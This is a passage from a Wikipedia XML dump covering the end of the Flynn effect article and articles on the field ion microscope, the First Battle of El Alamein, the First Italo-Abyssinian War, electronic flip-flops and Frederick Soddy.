In 2001, James R. Flynn and William T. Dickens, a [[Brookings Institution]] economist, presented a mechanism by which environmental effects on IQ may be magnified by feedback effects. The paper  &quot;Heritability Estimates Versus Large Environmental Effects: The IQ Paradox Resolved&lt;ref&gt;[http://www.apa.org/journals/features/rev1082346.pdf American Psychological Association]&lt;/ref&gt;&quot; was published in [[Psychological Review]].

In 2005, Colom ''et al.'' (Colom, 2005) presented data supporting the nutrition hypothesis, which predicts that gains in IQ will predominantly occur at the low end of the distribution where nutritional deprivation is most severe.  Two large samples of Spanish children were assessed with a 30-year gap.  Comparison of the IQ distributions indicated that 1) the mean IQ had increased by 9.7 points (the Flynn effect), 2) the gains were concentrated in the lower half of the distribution and negligible in the top half, and 3) the gains gradually decreased from low to high IQ.

Possibly related to the Flynn effect is change in [[cranial vault]] size and shape during the last 150 years in the US. These changes must occur by early childhood because of the early development of the vault.&lt;ref&gt;&quot;&lt;cite&gt;Changes in vault dimensions must occur by early childhood because of the early development of the vault.&lt;/cite&gt;&quot; [http://www3.interscience.wiley.com/cgi-bin/abstract/71007970/ABSTRACT Secular change in craniofacial morphology]
&quot;&lt;cite&gt;During the 125 years under consideration, cranial vaults have become markedly higher, somewhat narrower, with narrower faces. The changes in cranial morphology are probably in large part due to changes in growth at the cranial base due to improved environmental conditions. The changes are likely a combination of phenotypic plasticity and genetic changes over this period.&lt;/cite&gt;&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11451056&amp;dopt=Abstract Cranial change in Americans: 1850-1975.]&lt;/ref&gt;

Studies that make use of multigroup confirmatory factor analysis test for &quot;measurement invariance.&quot; Where tenable, invariance demonstrates that group differences exist in the latent constructs the tests contain and not, for example, as a result of measurement artifacts or cultural bias. Wicherts ''et al.'' (2004) found evidence from five data sets that IQ scores are not measurement invariant over time, and thus &quot;the gains cannot be explained solely by increases at the level of the latent variables (common factors), which IQ tests purport to measure&quot;. In other words, according to this study, some of the inter-generational difference in IQ is attributable to bias or other artifacts, and not real gains in [[general intelligence factor|general intelligence]] or higher-order ability factors.

In the end, a number of varied phenomena may be contributing to the Flynn effect.

==Contrary evidence==
The Flynn effect may have ended in some places starting in the mid 1990s. Teasdale &amp; Owen (in press) &quot;report intelligence test results from over 500,000 young Danish men, tested between 1959 and 2004, showing that performance peaked in the late 1990s, and has since declined moderately to pre-1991 levels.&quot; They speculate that &quot;a contributing factor in this recent fall could be a simultaneous decline in proportions of students entering 3-year advanced-level school programs for 16–18 year olds.&quot;

Another recent study done by Professor of Education [[Philip Adey]] and [[psychology]] professor [[Michael Shayer]] also show that the Flynn effect may have ended. According to Professor Adey, “The intelligence of 11-year-olds has fallen by three years’ worth in the past two decades.” &lt;ref&gt; [http://www.timesonline.co.uk/article/0,,2092-2014198,00.html Failing to teach them how to handle real life]&lt;/ref&gt; The study compared results of IQ tests taken by 11 year old children in [[2005]], the mid [[1990s]], and [[1976]], showing a precipitous drop in average IQ.

== References ==
&lt;references/&gt;
* Ulric Neisser et al.: The Rising Curve: Long-Term Gains in IQ and Related Measures. American Psychological Association (APA), 1998, ISBN 1557985030.  Discusses the Flynn effect, and its possible explanations and consequences.  
* {{cite journal|author=Colom, R., Lluis-Font, J.M., and Andrés-Pueyo, A. |date=2005|title=The generational intelligence gains are caused by decreasing variance in the lower half of the distribution: Supporting evidence for the nutrition hypothesis|journal=Intelligence|volume=33|pages=83-91}}
* {{cite journal | author=Mingroni, M.A. | title=The secular rise in IQ: Giving heterosis a closer look | journal=Intelligence | year=2004 | volume=32 | pages=65–83}}
* {{cite journal|author=Wicherts, J.M., Dolan, C.V., Hessen, D.J., Oosterveld, P., Baal, G.C.M. van, Boomsma, D.I., &amp; Span, M.M. |date=2004|title=Are intelligence tests measurement invariant over time? Investigating the nature of the Flynn effect|journal=Intelligence|volume= 32|pages= 509–537|url=http://users.fmg.uva.nl/jwicherts/wicherts2004.pdf }} (''links to PDF file'')
* Teasdale, T.W. &amp; Owen, D.R. (in press). &quot;A long-term rise and recent decline in intelligence test performance: The Flynn Effect in reverse.&quot; ''Personality and Individual Differences.''


==See also==
* [[Intelligence (trait)|Intelligence]]
* [[Intelligence quotient]]
* [[Dysgenics]]
* [[Heterosis]]
* [[Generational Compression]]

==External links==
* Marguerite Holloway, ''Flynn's effect'', [[Scientific American]], January 1999; [http://www.sciam.com/article.cfm?articleID=00037F65-D9C0-1C6A-84A9809EC588EF21&amp;ref=sciam online edition]
* [http://pespmc1.vub.ac.be/FLYNNEFF.html Increasing intelligence: the Flynn effect]
* [http://www.psych.usyd.edu.au/spearman/bios/flynn.html Flynn biography]
* [http://home.adelphia.net/~rdfuerle/Flynn.html &quot;An Explanation for the Flynn Effect&quot;]
* [http://www.apa.org/journals/features/rev1082346.pdf &quot;Heritability Estimates Versus Large Environmental Effects: The IQ Paradox Resolved&quot;] - article by Dickens and Flynn
*[http://socserv.mcmaster.ca/anthro/course.und/3L/105-1_gravleeetal.pdf Heredity, Environment, and Cranial Form: A Reanalysis of Boas’s Immigrant Data]
* [http://lance.qualquant.net/gravlee03b.pdf Did Boas get it right or wrong?]

[[Category:Psychometrics]]
[[Category:Futurology]]

[[de:Flynn-Effekt]]
[[hu:Flynn-effektus]]
[[no:Flynneffekten]]
[[pl:Efekt Flynna]]
[[fi:Flynnin ilmiö]]
[[sv:Flynneffekten]]</text>
    </revision>
  </page>
  <page>
    <title>Field ion microscope</title>
    <id>11774</id>
    <revision>
      <id>38626825</id>
      <timestamp>2006-02-07T16:05:22Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] change &quot;a&quot; to &quot;an&quot;.</comment>
      <text xml:space="preserve">'''Field ion microscopy''' (FIM) is an analytical technique used in [[materials science]]. The field ion microscope is a type of [[microscope]] that can be used to image the arrangement of [[atom]]s at the surface of a sharp metal tip.
It was the first technique by which individual atoms could be spatially resolved. The technique was pioneered by [[Erwin Müller]].  Images of atomic structures of [[tungsten]] were first published in 1951 in the journal ''Zeitschrift für Physik''.

In FIM, a sharp metal tip is produced and placed in an [[ultra high vacuum]] chamber, which is backfilled with an imaging gas such as [[helium]] or [[neon]].  The tip is cooled to cryogenic temperatures (20–100 K). A positive [[voltage]] of 5000 to 10&amp;nbsp;000 [[volt]]s is applied to the tip.  Gas atoms adsorbed on the tip are ionized by the strong [[electric field]] in the vicinity of the tip (thus, &quot;field ionization&quot;), becoming positively charged and being repelled from the tip.  The curvature of the surface near the tip causes a natural magnification — [[ion]]s are repelled in a direction roughly perpendicular to the surface (a &quot;point projection&quot; effect).  A detector is placed so as to collect these repelled ions; the image formed from all the collected ions can be of sufficient resolution to image individual atoms on the tip surface.

Unlike conventional microscopes, where the spatial resolution is limited by the wavelength of the particles which are used for imaging, the FIM is a projection type microscope with atomic resolution and an approximate magnification of a few million times.

==See also==
*[[Atom Probe]]
*[[Electron microscope]]
*[[Field emission microscope]]
*[[List of surface analysis methods]]

==External links==
* [http://arc.nucapt.northwestern.edu/ Northwestern University Center for Atom-Probe Tomography]

[[Category:Microscopes]]

[[de:Feldionenmikroskop]]
[[pl:Mikroskop jonowy]]</text>
    </revision>
  </page>
  <page>
    <title>First Battle of El Alamein</title>
    <id>11775</id>
    <revision>
      <id>39753242</id>
      <timestamp>2006-02-15T17:10:41Z</timestamp>
      <contributor>
        <username>Sannya</username>
        <id>763106</id>
      </contributor>
      <minor />
      <comment>hr link</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=First Battle of El Alamein
|partof=[[World War II]], [[North African Campaign]]
|image=
|caption=
|date=[[July 1]]&amp;ndash;[[July 27]], [[1942]]
|place=[[El Alamein]], [[Egypt]]
|result=Tactical stalemate; Strategic Allied victory
|combatant1=[[Allies of World War II|Allies]] (mostly [[Commonwealth of Nations|Commonwealth]] forces)
|combatant2=[[Axis Powers|Axis]] (mostly [[Nazi Germany|German]])
|commander1=[[Claude Auchinleck]]
|commander2=[[Erwin Rommel]]
|strength1=150,000 troops, 1,115 tanks, 1,000 artillery, 1,500 planes
|strength2=100,000 troops, 585 tanks, 500 planes 
|casualties1=
|casualties2=
}}
{{Campaignbox Western Desert}}
The '''First Battle of El Alamein''' [[July 1|1]]&amp;ndash;[[July 27]] [[1942]] was a battle of the [[Western Desert Campaign]] of [[World War II]], fought between the [[Germany|German]]&amp;ndash;[[Italy|Italian]] ''[[Afrika Korps]]'' commanded by [[Erwin Rommel]] and the [[British Eighth Army]], commanded by [[Claude Auchinleck]].

Following the defeat at the [[Battle of Gazala]] in June 1942, the  Eighth Army had retreated from [[Mersa Matruh]] to the ''Alamein Line'' in [[Egypt]], a 40&amp;nbsp;mile (60&amp;nbsp;km) gap between the town of [[El Alamein]] on the [[Mediterranean]] coast to the north and the [[Qattara Depression]] in the desert to the south.

On [[July 1]] the Afrikakorps attacked. The Allied line near El Alamein was not overrun until the evening and this hold up stalled the [[Axis Powers|Axis]] advance. On [[July 2]] Rommel concentrated his forces in the north, intending to break through around El Alamein. Auchinleck ordered a counter-attack at the centre of the Axis line but the attack failed. The Allies also attacked in the south and were more successful against the Italians. As a result of the Allied resistance, Rommel decided to regroup and defend the line reached.

Auchinleck attacked again on [[July 10]] at [[Tel el Eisa]] in the north and over one thousand prisoners were taken.  Rommel's counter at Tel el Eisa achieved little. Auchinleck then attacked again in the centre at the Ruweisat Ridge in two battles (the '''First''' and '''Second Battles of Ruweisat''' on [[July 14]] and [[July 21]]). Neither battle was successful and the failure of armour to reach the infantry in time at the Second Battle led to the loss of 700 men. Despite this another two attacks were launched on [[July 27]]. One in the north at Tel el Eisa was a moderate failure. The other at Miteiriya was more calamitous, as the minefields were not cleared and the infantry were left without armour support when faced with a German counter-attack. 

The Eighth Army was exhausted, and by [[July 31]] Auchinleck ordered an end to offensive operations and the strengthening of the defences to meet a major counter-offensive.

The battle was a stalemate, but the Axis advance on [[Alexandria]] (and then [[Cairo]]) was halted. A second attempt by Rommel to bypass or break the Commonwealth position was repulsed in the [[Battle of Alam Halfa]] in August, and in October the Eighth Army, now commanded by [[Bernard Montgomery]], decisively defeated the Axis forces in the [[Second Battle of El Alamein]].

[[Category:Western Desert Campaign|El Alamein 1]]
[[Category:Tank battles|El Alamein 1]]
[[Category:History of Egypt|El Alamein 1]]

[[de:Erste Schlacht von El Alamein]]
[[fr:Bataille d'El-Alamein]]
[[hr:Prva bitka kod El Alameina]]
[[it:Prima battaglia di El Alamein]]
[[nl:Eerste slag om El Alamein]]
[[ja:エル・アラメインの戦い]]
[[pl:I bitwa pod El Alamein]]
[[fi:El Alameinin ensimmäinen taistelu]]</text>
    </revision>
  </page>
  <page>
    <title>First Italo-Abyssinian War</title>
    <id>11776</id>
    <revision>
      <id>42052084</id>
      <timestamp>2006-03-03T13:46:01Z</timestamp>
      <contributor>
        <username>Ghepeu</username>
        <id>217964</id>
      </contributor>
      <comment>new Infobox Military Conflict</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|image=
|caption=
|campaign=
|conflict=First Italo-Abyssinian War
|date=[[1895]]-[[1896]]
|place=[[Ethiopia]]
|result=Attempted Italian annexation of Ethiopia failed
|combatant1=[[Italy]]
|combatant2=[[Ethiopia]]
|commander1=
|commander2=
|strength1=20,000
|strength2=100,000 (estimated)
|casualties1=11,000 (killed or wounded)
|casualties2=17,000 (killed or wounded)
}}
The '''First Italian-Abyssinian War''' was one of the very few instances of successful armed [[Africa]]n resistance to [[Europe]]an [[colonialism]] in the 19th century.

On [[March 25]], [[1889]], the [[Shewa]] ruler [[Menelik II]] -- having conquered [[Tigray]] and [[Amhara]], and with the support of [[Italy]] -- declared himself Emperor of [[Ethiopia]] (''Abyssinia'' in the European parlance of the time). Barely a month later, on [[May 2]], he signed a treaty of amity with the [[Italy|Italian]]s, which gave them control over [[Eritrea]], the [[Red Sea]] coast to the northeast of Ethiopia, in return for recognition of Menelik's rule. Or so it seemed.

In fact, the bilingual [[Treaty of Wuchale]] did not say the same thing in [[Italian language|Italian]] and [[Amharic language|Amharic]]. The former text established an Italian [[protectorate]] over Ethiopia, which Menelik discovered soon afterwards.

Menelik repudiated the treaty in [[1893]], at which point the Italians ramped up the pressure in a variety of ways, including military expeditions into Tigray (on the border with Eritrea) in [[1895]]. 

By then, however, Menelik had spent much of the previous four years building up a supply of modern [[weapon]]s and ammunition. In December of 1895, he himself moved large forces into Tigray. Heavily outnumbered, the Italian commander, [[Oreste Baritieri]] refused to engage, but the Italian government of [[Francesco Crispi]] was unable to accept being stymied by non-Europeans. The prime minister specifically ordered Baritieri to bring about a battle.

The result was the [[Battle of Adowa]] (or ''Adua'') on [[March 1]], [[1896]]. Almost half of all the Italian forces in East Africa were concentrated and engaged the Ethiopians who defeated them decisively. The actual battle took place in mountainous county to the north of the town of Adowa. The Italian army comprised four brigades totalling approximately 20,000 troops, with fifty-six artillery pieces. One brigade under General Albertone was made up of Italian officered askari (native infantry) recruited from Eritrea. The remaining three brigades were Italian units under Generals Damorida, Ellena and Baratieri. The Ethiopian forces under Menelik outnumbered the Italians by an estimated five or six times. On the night of [[29 February]] the four brigades advanced separately towards Adowa over narrow mountain tracks. Menlik's large forces were due to retire back into Ethiopia that same day as their food supplies ran low. Learning of the Italian advance Menlik rallied his four separate armies (those of Shoa, Harar, Gojjam and Wollo) and moved to meet them. 

Disastrously, the three leading Italian brigades had become separated during their overnight march and at dawn on [[1 March]] were spread across several miles of very difficult terrain. Albertone's askari brigade was the first to encounter large numbers of Ethiopians, near the hill called Enda Chidane Meret. The well-disciplined but heavily outnumbered askari, with artillery support, beat off attacks by Ethiopian forces for three hours until Menlik sent forward his reserve of 25,000 Shoans and swamped Albertone's brigade.

Dabormida's Italian brigade had moved to support Albertone but was unable to reach him in time. Cut off from the remainder of the Italian army, Dabormida executed a well-organised fighting retreat. However the numbers, courage and ferocity of the Shoan warriors opposing him led to Dabormida's death and the destruction of much of his brigade. 

The remaining two brigades under Baratieri himself were outflanked and destroyed piecemeal on the slopes of Mount Belah. Baratieri escaped to be courtmartialed and condemned as unfit for his command. Italian dead and missing numbered 4,133 with a further 2,000 captured. In addition four thousand Eritrean askaris were killed or captured. The Ethiopians had lost about 7,000 dead and 10,000 wounded. Italian prisoners were treated as well as possible under difficult circumstances, but 800 captured askaris, regarded as traitors by the Ethiopians, had their right hands and left feet amputated.    

Menelik retired in good order to his capital, [[Addis Ababa]], and waited for the discredited Crispi government to fall. It did within two weeks, and Menelik secured the [[Treaty of Addis Ababa]] in October, strictly delimiting the borders of Eritrea and forcing Italy to recognize the independence of Ethiopia.

==See also==
* [[Second Italo-Abyssinian War]]

[[Category:Wars of Ethiopia|Italy]]
[[Category:Wars of Italy|Abyssinia]]

[[it:Prima guerra Italo-Abissina]]
[[ja:第一次エチオピア戦争]]</text>
    </revision>
  </page>
  <page>
    <title>Flip-flop (electronics)</title>
    <id>11777</id>
    <revision>
      <id>41433165</id>
      <timestamp>2006-02-27T07:29:32Z</timestamp>
      <contributor>
        <ip>130.220.79.99</ip>
      </contributor>
      <comment>/* Uses */</comment>
      <text xml:space="preserve">:''This article is about the electronic component. For other meanings, see [[flip-flop (disambiguation)]].''

In [[electronics]] and [[digital circuit]]s, the '''flip-flop''' or ''[[bistable]] [[multivibrator]]'' is a pulsed [[digital circuit]] capable of serving as a one-[[bit]] [[computer storage|memory]]. A flip-flop typically includes zero, one, or two [[input]] signals; a [[clock signal]]; and an [[output]] signal, though many commercial flip-flops additionally provide the [[complement]] of the output signal. Some flip-flops also include a ''clear'' input signal, which resets the current output. Because flip-flops are implemented as [[integrated circuit]] [[chips]], they also require [[Electric power|power]] and [[Ground (electricity)|ground]] connections. Pulsing, or ''strobing'', the clock causes the flip-flop to either change or retain its output signal, based upon the values of the input signals and the [[characteristic equation]] of the flip-flop.  ''Strobing'' here means changing the clock, some flip-flops change output on the rising edge of the clock, and other change on the falling edge.

Four types of flip-flops find common applicability in [[clocked sequential systems]]: these are called the T (&quot;toggle&quot;) flip-flop, the S-R (&quot;set-reset&quot;) flip-flop, the J-K flip-flop, and the D (&quot;delay&quot;) flip-flop. The behavior of the flip-flop is described by what is termed the characteristic equation, which derives the &quot;next&quot; (i.e., after the next clock pulse) output, &lt;math&gt;Q_{next}&lt;/math&gt;, in terms of the input signal(s) and/or the current output, &lt;math&gt;Q&lt;/math&gt;.

The first electronic flip-flop was invented in [[1919]] by [[William Eccles]] and [[F. W. Jordan]] (Radio Review Dez 1919 pages 143 following). It was initially called the ''Eccles-Jordan trigger circuit''. The later name flip-flop describes the sound, which is produced on a speaker connected with one of the backcoupled amplifiers output during the triggerprocess within the circuit.

See also: [[monostable]] multivibrator, [[astable]] multivibrator.

==Types of flip-flops==
===T flip-flop===
If the T input is high, the T flip-flop changes state (&quot;toggles&quot;) whenever the clock input is strobed.  If the T input is low, the flip-flop holds the previous value.  This behavior is described by the characteristic [[equation]]:

&lt;math&gt;Q_{next} = T \oplus Q&lt;/math&gt;

and the [[truth table]]:

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
||T||Q||'''Q&lt;sub&gt;next&lt;/sub&gt;'''
|-
||0||0||'''0'''
|-
||0||1||'''1'''
|-
||1||0||'''1'''
|-
||1||1||'''0'''
|-
|}

[[image:flipflopt.png|left|T-type flip-flop]]Left: A circuit symbol for a T-type flip-flop, where &gt; is the clock input, T is the toggle input and Q is the stored data output.
&lt;br clear=all&gt;

===S-R flip-flop===
[[Image:SR FF timing diagram.png|thumb|225px|SR flip-flop timing diagram]]
The &quot;set/reset&quot; flip-flop ''sets'' (i.e., changes its output to logic 1, or retains it if it's already 1) if both the S (&quot;set&quot;) input is 1 and the R (&quot;reset&quot;) input is 0 when the clock is strobed. The flip-flop ''resets'' (i.e., changes its output to logic 0, or retains it if it's already 0) if both the R (&quot;reset&quot;) input is 1 and the S (&quot;set&quot;) input is 0 when the clock is strobed. If both S and R are 0 when the clock is strobed, the output does not change. If, however, both S and R are 1 when the clock is strobed, no particular behavior is guaranteed.  This is often written in the form of a &quot;[[truth table]]&quot;
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
||S||R||Q||'''Q&lt;sub&gt;next&lt;/sub&gt;'''
|-
||0||0||0||'''0'''
|-
||0||0||1||'''1'''
|-
||0||1||X||'''0'''
|-
||1||0||X||'''1'''
|-
||1||1||X||'''unstable'''
|-
|}

===J-K flip-flop===
[[Image:JK FF impulse diagram.png|thumb|225px|J-K flip-flop timing diagram]]
The J-K flip-flop augments the behavior of the S-R flip-flop by interpreting the S = R = 1 condition as a &quot;flip&quot; command. Specifically, the combination J = 1, K = 0 is a command to set the flip-flop; the combination J = 0, K = 1 is a command to reset the flip-flop; and the combination J = K = 1 is a command to toggle the flip-flop, i.e., change its output to the logical complement of its current value. Setting J = K turns the J-K flip-flop into a T flip-flop.

[[image:flipflopjk.png|left|J-K-type flip-flop]]
&lt;br clear=all&gt;
Left: A circuit symbol for a J-K flip-flop, where &gt; is the clock input, J and K are data inputs, Q is the stored data output, and Q' is the inverse of Q.

The characteristic equation of the J-K flip-flop is:

&lt;math&gt;Q_{next} = J\overline Q + \overline KQ&lt;/math&gt;

and the truth table is:

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
||J||K||Q||'''Q&lt;sub&gt;next&lt;/sub&gt;'''
|-
||0||0||0||'''0'''
|-
||0||0||1||'''1'''
|-
||0||1||X||'''0'''
|-
||1||0||X||'''1'''
|-
||1||1||0||'''1'''
|-
||1||1||1||'''0'''
|-
|}

The origin of the name for the J-K flip-flop is detailed by P. L. Lindley, a [[JPL]] engineer, in a letter to EDN, an electronics newsletter.  The letter is dated 13 June, 1968, and was published in the August edition of the newsletter.  In the letter, Mr. Lindley explains that he heard the story of the J-K flip-flop from Dr. Eldred Nelson, who is responsible for coining the term while working at [[Hughes Aircraft]].

Flip-flops in use at Hughes at the time were all of the type that came to be known as J-K.  In designing a logical system, Dr. Nelson assigned letters to flip-flop inputs as follows: #1: A &amp; B, #2: C &amp; D, #3: E &amp; F, #4: G &amp; H, #5: J &amp; K.  Given the size of the system that he was working on, Dr. Nelson realized that he was going to run out of letters, so he decided to use J and K as the set and reset input of each flip-flop in his system (using subscripts or somesuch to distinguish the flip-flops), since J and K were &quot;nice, innocuous letters.&quot;

Dr. Montgomery Phister, Jr., an engineer under Dr. Nelson at Hughes, picked up the idea that J and K were the set and reset input for a &quot;Hughes type&quot; of flip-flop, which he then termed &quot;J-K flip-flops,&quot; a name that he carried with him when he left for Scientific Data Systems in Santa Monica.

===D flip-flop===
The D (&quot;delay&quot;) flip-flop takes one input, which it conveys to the output when the clock is strobed. Regardless of the current value of the output, it will assume a value 1 if D = 1 when the flip-flop is strobed or a value 0 if D = 0 when the flip-flop is strobed. This flip-flop can be interpreted as a primitive [[delay line]] or [[zero-order hold]], since the data is posted at the output one clock cycle after it arrives at the input.

[[image:flipflopd.png|left|D-type flip-flop]]
&lt;br clear=all&gt;
Left: A circuit symbol for a D-type flip-flop, where &gt; is the clock input, D is the data input and Q is the stored data output.

The characteristic equation of the D flip-flop is:

&lt;math&gt;Q_{next} = D \,&lt;/math&gt;
&lt;!-- The \, is to force PNG rendering for consistency --&gt;

The truth table is:

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
||D||Q||'''Q&lt;sub&gt;next&lt;/sub&gt;'''
|-
||0||X||'''0'''
|-
||1||X||'''1'''
|}

== Uses ==
The flip-flop can be used to store one [[bit]], or binary digit, of data.  The data contained in several such flip-flops may represent the state of a sequencer, the value of a [[counter]], an [[ASCII]] character in a computer's memory or any other piece of information.

One use is to build [[finite state machine]]s from electronic logic.  The flip-flops remember the machine's previous state, and [[digital logic]] uses that state to calculate the next state.

The &quot;T&quot; flip-flop is useful for counting.  Repeated signals to the clock input will cause the flip-flop to change state once per high-to-low transition of the clock input, if its T input is &quot;1&quot;. The output from one flip-flop can be fed to the clock input of a second and so on.  The final output of the circuit, considered as the array of outputs of all the individual flip-flops, is a count, in [[binary coding|binary]], of the number of cycles of the first clock input, up to a maximum of 2&lt;sup&gt;''n''&lt;/sup&gt;-1, where ''n'' is the number of flip-flops used.

One of the problems with such a counter (called a ''ripple counter'') is that the output is briefly invalid as the changes ripple through the logic.  There  are two solutions to this problem.  The first is to sample the output only when it is known to be valid.  The second, more widely used, is to use a different type of circuit called a ''synchronous counter''.  This uses more complex logic to ensure that the outputs of the counter all change at the same, predictable time.

[[Frequency]] division: a chain of &quot;T&quot; flip-flops as described above will also function to divide an input in frequency by 2&lt;sup&gt;''n''&lt;/sup&gt;, where ''n'' is the number of flip-flops used between the input and the output.

[[Processor register|Register]]s to store numbers in [[computer]]s.  A &quot;D&quot; flip-flop can represent one digit of a binary number.  The computer's [[control unit]] puts out the clock signal at the right time to capture the data.

==Timing and metastability==
A flip-flop in combination with a [[Schmitt trigger]] can be used for the implementation of an [[Arbiter (electronics)|arbiter]] in [[asynchronous circuit]]s.

Clocked flip-flops are prone to a problem called [[Metastability in electronics|metastability]], which happens when a data or control input is changing at the instant of the clock pulse.  The result is that the output may behave unpredictably, taking many times longer than normal to settle to its correct state, or even oscillating several times before settling.  In a [[computer]] system this can cause corruption of data or a program crash.

In many cases, metastability in flip-flops can be avoided by ensuring that the data and control inputs are held constant for specified periods before and after the clock pulse, called the [[setup time]] (t&lt;sub&gt;su&lt;/sub&gt;) and the [[hold time]] (t&lt;sub&gt;h&lt;/sub&gt;) respectively.  These times are specified in the data sheet for the device, and are typically between a few nanoseconds and a few hundred picoseconds for modern devices.

Unfortunately, it is not always possible to meet the setup and hold criteria, because the flip-flop may be connected to a real-time signal that could change at any time, outside the control of the designer.  In this case, the best the designer can do is to reduce the probability of error to a certain level, depending on the required reliability of the circuit.  One technique for suppressing metastability is to connect two or more flip-flops in a chain, so that the output of each one feeds the data input of the next, and all devices share a common clock.  With this method, the probability of a metastable event can be reduced to a negligible value, but never to zero.

So-called metastable-hardened flip-flops are available, which work by reducing the setup and hold times as much as possible, but even these cannot eliminate the problem entirely.  This is because metastability is more than simply a matter of circuit design.  When the transitions in the clock and the data are close together in time, the flip-flop is forced to decide which event happened first.  However fast we make the device, there is always the possibility that the input events will be so close together that it cannot detect which one happened first.  It is therefore logically impossible to build a perfectly metastable-proof flip-flop.

Another important timing value for a flip-flop is the clock-to-output delay (common symbol in data sheets: t&lt;sub&gt;CO&lt;/sub&gt;) or [[propagation delay]] (t&lt;sub&gt;P&lt;/sub&gt;), which is the time the flip-flop takes to change its output after the clock edge.  The time for a high-to-low transition (t&lt;sub&gt;PHL&lt;/sub&gt;) is sometimes different from the time for a low-to-high transition (t&lt;sub&gt;PLH&lt;/sub&gt;).

When connecting flip-flops in a chain, it is important to ensure that the t&lt;sub&gt;CO&lt;/sub&gt; of the first flip-flop is longer than the [[hold time]] (t&lt;sub&gt;H&lt;/sub&gt;) of the second flip-flop, otherwise the second flip-flop will not receive the data reliably.  The relationship between t&lt;sub&gt;CO&lt;/sub&gt; and t&lt;sub&gt;H&lt;/sub&gt; is normally guaranteed if both flip-flops are of the same type.

==Flip-Flop Integrated Circuits==

[[Integrated circuit]] (ICs) can be found with one or two Flip-flop circuits on board. For example the 7473 Dual J-K Master-Slave Flip-flop, in the [[7400]] series.

==External links==
{{Commons|Flip-flops}}
* [http://www.eelab.usyd.edu.au/digital_tutorial/part3/fl-types.htm Summary of flip-flop types]
* [http://hyperphysics.phy-astr.gsu.edu/hbase/electronic/flipflop.html#c1 Another summary of flip-flop types]
* [http://computer.howstuffworks.com/boolean3.htm Explanation of How Flip Flops Work with Logic Gate Diagrams]

[[Category:Digital electronics]]
[[Category:Computer memory]]

&lt;!--  --&gt;

[[ar:قلاب]]
[[cs:Klopný obvod]]
[[da:Flip-flop (digital elektronik)]]
[[de:Flipflop]]
[[es:Biestable]]
[[fr:Bascule]]
[[hr:Bistabil]]
[[it:Flip-flop]]
[[he:פליפ פלופ]]
[[nl:Flip-flop]]
[[ja:フリップフロップ]]
[[pl:Przerzutnik]]
[[pt:Flip-flop]]
[[sl:Bistabilni multivibrator]]
[[sv:Vippa]]
[[zh:触发器]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick Soddy</title>
    <id>11778</id>
    <revision>
      <id>41634269</id>
      <timestamp>2006-02-28T17:58:37Z</timestamp>
      <contributor>
        <username>GwydionM</username>
        <id>510483</id>
      </contributor>
      <text xml:space="preserve">[[Image:Frederick Soddy (Nobel 1922).png|right|frame|Frederick Soddy in 1922.]]

'''Frederick Soddy''' ([[September 2]], [[1877]] &amp;ndash; [[September 22]], [[1956]]) was an [[England|English]] [[radiochemistry|radiochemist]].

Soddy was born in Eastbourne, England. He went to school at Eastbourne College, before going on to study at [[University College of Wales]] at [[Aberystwyth]] and [[University of Oxford|Oxford University]] ([[Merton College, Oxford|Merton College]]). He was a researcher at Oxford from [[1898]] to [[1900]].

In [[1900]] he became a demonstrator in [[chemistry]] at [[McGill University]] in [[Montreal]], [[Quebec]], [[Canada]], where he worked with [[Ernest Rutherford]] on [[radioactivity]]. He and Rutherford realized that the anomalous behavior of radioactive elements was due to the fact that they [[radioactive decay|decayed]] into other elements. This decay also produced [[alpha ray|alpha]], [[beta ray|beta]], and [[gamma ray|gamma radiation]].  When radioactivity was first discovered, no one was sure what the cause was.  It needed careful work by Soddy and Rutherford to prove that atomic [[transmutation]] was in fact occurring.

His work and esseys popularising the new understanding of radioactivity was the main inspiration for [[H G Wells]]'s 1914 ''[[The World Set Free]]'', which features atomic bombs dropped from biplanes in a war set many years in the future.  Wells's novel is also known as ''The Last War'' and imagines a peaceful world emerging from the chaos.  In ''Wealth, Virtual Wealth and Debt'' Soddy praises Wells’s [[The World Set Free]].  He also says that radioactive processes probably power the stars.

In [[1903]], with Sir [[William Ramsay]], Soddy verified that the decay of [[radium]] produced [[helium]].

From [[1904]] to [[1914]], he was a lecturer at the [[University of Glasgow]] and while there he showed that [[uranium]] decays to [[radium]]. It was here also that he showed that a radioactive element may have more than one [[atomic weight]] though the chemical properties are identical; this led to the concept of an [[isotope]]. Soddy later showed that non-radioactive elements also could have multiple isotopes. In addition he showed that an atom moves lower in [[atomic number]] by two places on alpha emission, higher by one place on beta emission. This was a fundamental step toward understanding the relationships among families of radioactive elements.

Soddy published [http://fax.libs.uga.edu/QD181xR1xS679/ ''The Interpretation of Radium''] (1909) and ''Atomic Transmutation'' (1953).

In [[1914]] he was appointed to a chair at the [[University of Aberdeen]], where he worked on research related to [[World War I]].

In [[1919]] he moved to Oxford University, where, in the period up till [[1936]], he reorganized the laboratories and the syllabus in chemistry.

He received the [[1921]] [[Nobel Prize/Chemistry|Nobel Prize in chemistry]] for his research in radioactive decay and particularly for his formulation of the theory of isotopes.

Frederick was also interested in [[Technocratic movement|technocracy]] and the [[social credit]] movement, which is evidenced by his publications ''Wealth, Virtual Wealth and Debt'' (George Allen &amp; Unwin 1926) and ''Money versus Man'' (1933). 

He died in [[Brighton, England]].

==Bibliography==
* ''Radioactivity'' (1904)
* ''[http://fax.libs.uga.edu/QD181xR1xS679/ The Interpretation of Radium]'' (1909) ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/QD181xR1xS679/1f/interpretation_of_radium.pdf layered PDF] format)''
* ''The Chemistry of the Radioactive Elements'' (1912-1914)
* ''Matter and Energy'' (1912)
* ''Science and Life'' (1920)
* ''Wealth, virtual wealth and debt. The solution of the economic paradox'' (1926)
* ''The Interpretation of the Atom'' (1932)
* ''Money versus Man'' (1933)
* ''The Story of Atomic Energy'' (1949)
* ''Atomic Transmutation'' (1953)

